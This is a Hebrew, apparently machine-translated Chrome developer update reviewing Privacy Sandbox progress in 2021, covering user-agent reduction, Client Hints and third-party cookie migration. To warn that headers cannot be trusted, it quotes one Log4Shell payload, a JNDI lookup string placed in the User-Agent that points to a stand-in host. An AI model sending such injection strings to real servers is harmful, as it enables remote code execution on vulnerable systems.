התקדמות בארגז החול לפרטיות (דצמבר 2021)

אנחנו שמחים להציג את מהדורת הסיכום של Progress בארגז החול לפרטיות לשנת 2021, שבה נעקוב אחרי אבני הדרך בדרך להוצאה משימוש בהדרגה של קובצי Cookie של צד שלישי ב-Chrome ושמירה על הפרטיות באינטרנט. בדרך כלל אנחנו משתפים סקירה כללית של עדכונים לציר הזמן של ארגז החול לפרטיות וגם חדשות מכל הפרויקט, אבל דצמבר היה חודש שקט. במקום זאת, נחזור על חלק מהפעילויות שהתרחשו במהלך 2021 ונציג כמה פתרונות אפשריים ליצירת השנה החדשה.

תהליך הפיתוח של Chromium

כדי שפיצ'ר חדש של פלטפורמת אינטרנט יגיע ל-Chromium, צריך לבצע את תהליך הפיתוח הפתוח של הפרויקט. בשנת 2021, צוות ארגז החול לפרטיות הפיק:

🥚כוונה ליצור אב-טיפוס 19
🧪כוונה לניסוי7
🚀כוונה לשלוח 11
מקור

כל אבן דרך היא גם הזמנה לסביבה הרחבה יותר באינטרנט לתרום.

Intent ליצירת אב-טיפוס הוא נקודת הביקורת הראשונה, שבה אנחנו מזמינים דיון וניסויים מוקדמים. המשמעות היא שהצעה תהיה זמינה ב-GitHub, שבו תוכלו לשאול שאלה על ידי יצירת בעיה או להצטרף לדיונים ולמצגות בקבוצות סטנדרטיות, כמו W3C ו-IETF. כאן גם מתחיל התכנות, וזה אומר שתוכלו לחכות שהפונקציונליות של אב הטיפוס תהיה זמינה לבדיקת מפתחים שיש להם דגל תכונה. המשוב הראשוני הוא קריטי לאימות הצעות ולהתנסות בהן.

Intent לניסוי הוא שלב אופציונלי אם אנחנו רוצים לבקש גרסת מקור לניסיון. מפתחים יכולים להירשם לגרסת המקור לניסיון של תכונה ואז לבדוק אותה בסביבת הייצור. זה נקרא 'ניסוי' כי יש לנו היבטים ספציפיים של התכונה שאנחנו רוצים לאמת בסביבות בעולם האמיתי. מפתחים שיכולים לבדוק ולשתף את התוצאות של הבדיקות, נותנים משוב חשוב כדי לנסות לפתח את התכונה באיטרציה.

Intent to Ship הוא אבן הדרך האחרונה שמצביעה על כך שהתכונה הושלמה ומוכנה לזמינות לכולם. אחרי שהיא תאושר, התכונה תמוזג לגרסה קרובה ואז תתקדם בערוצים הקנריים, הבטא והיציבים. חשוב מאוד לבדוק את האתרים באמצעות גרסת Canary וגרסת הבטא של Chrome, כדי לזהות באגים ולדווח עליהם לפני שהתכונה מגיעה ל'יציב'.

הצעות

לכל הצעה של ארגז חול לפרטיות יש מאגר GitHub נלווה. במאגר אפשר למצוא הסבר לסיכום הפונקציונליות הכוללת, מפרט מפורט של ההטמעה בדפדפנים ותרומות מרחבי הסביבה העסקית של האינטרנט – בעיות ובקשות משיכה.

ב-14 המאגרים של ארגז החול לפרטיות היו:

💬545נוצרו בעיות
250הבעיות נסגרו
🛠️261נוצרו בקשות משיכה
223בקשות המשיכה מוזגו
מקור

השפה בהסברים ובמפרטים בדרך כלל ממוקדת לקהל שכבר מכיר את הסטנדרטים ואת פיתוח הדפדפן, דבר שעשוי להיות מאתגר אם לא מכירים אותו. עם זאת, מטרת ההסבר היא להסביר! אם יש נקודות לא ברורות או שלא עסקנו בהן, אנחנו רוצים שתגישו את הבעיה כדי שנוכל לעדכן ולהבהיר את ההסבר.

רזולוציות

סוכן משתמש לניקוי אביב

מכיוון שאנחנו סופרים למטה לשנה החדשה, אנחנו סופרים גם עד גם ל-Chrome 100 וגם להפחתה המצטברת של מחרוזת המשתמש-סוכן. זאת מניע טוב לבדוק שוב את השימוש במחרוזת סוכן המשתמש בקוד שלכם, כדי לבדוק אם הוא מושפע מאחד השינויים האלה.

כדי למצוא את האזורים האלה:

  1. מחפשים את navigator.userAgent בקוד ה-JavaScript, או ניגשים לכותרת User-Agent בקוד השרת.
  2. כדאי לבדוק את הניתוח של המחרוזת כדי לקבל הנחות לגבי גרסה בת 2 ספרות. לדוגמה, ביטוי רגולרי שמציין \d\d או \d{2} צריך להחליף ב-\d+.
  3. בודקים את השימוש שלכם במחרוזת בכל מקום שבו אתם מסתמכים על:
    • גרסת הפלטפורמה (מערכת הפעלה)
    • גרסת build מלאה של Chrome
    • שם המכשיר הנייד
  4. הערכים האלה יופחתו למחרוזות קבועות בעתיד. אם צריכים גישה לערכים האלה, עוברים ל-User-Agent Client Hints.

בחודש דצמבר יש עדכון אחד שכדאי לציין: אם אתם משתמשים ברמזים של לקוח User-Agent, שלחנו את Intent to Ship כדי להפעיל רמזים להאצלת מקורות ב-HTML באמצעות תג <meta>. לדוגמה:

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

אם אתם במצב רוח של ניקיון לקראת פסח, תוכלו גם לשקול חלופות לחלוטין לשימוש בסוכן משתמש. אם אתם משתמשים במחרוזת כדי לזהות מכשירים ניידים, כדאי לבדוק אם אפשר להחליף אותה בעיצוב רספונסיבי. אם אתם בודקים את שם הדפדפן ואת הגרסה שלו כדי לקבל תמיכה בתכונות, בדקו אם אפשר להשתמש בזיהוי תכונות במקום זאת.

תמיד כדאי לזכור שסוכן המשתמש, כמו כל ערך שסופק על ידי לקוח, לא מובטח שהוא מדויק או אפילו לא מדויק. דוגמה לסיכון הזה מוצגת בנקודת החולשה האחרונה של Log4j, Log4shell. לקוח שמגדיר את המחרוזת של סוכן המשתמש שלו כך שיכלול ערך כמו ${jndi:ldap://example.com/file}, יכול לאפשר לאתר לנתח אותו באופן פעיל בשרת.

פעילות מסורתית נוספת לשנה החדשה היא לוודא שיש לכם מספר בריא של עוגיות עם מרכיבים איכותיים. ככל שנמשיך להתקדם לשלב ההוצאה משימוש של קובצי cookie של צד שלישי, עליך לוודא שאתה יודע אילו מקובצי ה-cookie באתר שלך יושפעו. בשנת 2020 היה צורך לסמן את כל קובצי ה-cookie לשימוש באתרים שונים או בצדדים שלישיים באמצעות SameSite=None.

נדרש עדכון של כל קובץ Cookie שהגדרת בו את המאפיין SameSite כ-None.

בשלב הזה יש שלושה מסלולים אפשריים:

  1. אם קובץ ה-cookie נדרש רק בקשר 1:1 עם האתר ברמה העליונה, עליכם לעקוב אחר ההתקדמות של הצעת ה-CHIPS. פירוש הדבר הוא הוספת המאפיין Partitioned לקובץ ה-cookie.
  2. אם קובץ ה-cookie נמצא בשימוש בהקשר של מספר אתרים, אבל רק באתרים שבבעלותכם ובהפעלה שלכם, הוא עשוי להתאים לקבוצות של צד ראשון. לשם כך צריך להגדיר את האתרים בקבוצה ולהוסיף את המאפיין SameParty לקובץ ה-cookie.
  3. אם קובץ ה-cookie משמש כדי לספק ערך משותף כלשהו באתרים מרובים, כדאי לבדוק את המגוון הרחב יותר של הצעות לארגז חול לפרטיות כדי למצוא פתרון חלופי שלא מסתמך על מעקב בין אתרים.

אם אתם מרגישים מודעים במיוחד לבריאות, זה גם הזמן האידיאלי לחזור ולבדוק את כל השימוש בקובצי cookie, כי יש לנו מתכון מוצלח לשיפור גם קובצי ה-cookie מהדומיין הנוכחי.

משוב

אנחנו ממשיכים לפרסם את העדכונים החודשיים האלה ואת ההתקדמות בארגז החול לפרטיות באופן כללי, ואנחנו רוצים לוודא שהמפתחים מקבלים את המידע והתמיכה הדרושים להם. תוכלו להודיע לנו ב-@ChromiumDev Twitter אם יש משהו שאנחנו יכולים לשפר בסדרה הזו. נשתמש במשוב שלך כדי להמשיך בשיפור הפורמט.

אנחנו מזמינים אתכם לעיין בשאלות הנפוצות בנושא ארגז החול לפרטיות, שאנחנו ממשיכים להרחיב בהתאם לבעיות שאתם שולחים למאגר התמיכה למפתחים. אם יש לכם שאלות לגבי בדיקה או הטמעה של אחת מההצעות, תוכלו ליצור איתנו קשר שם.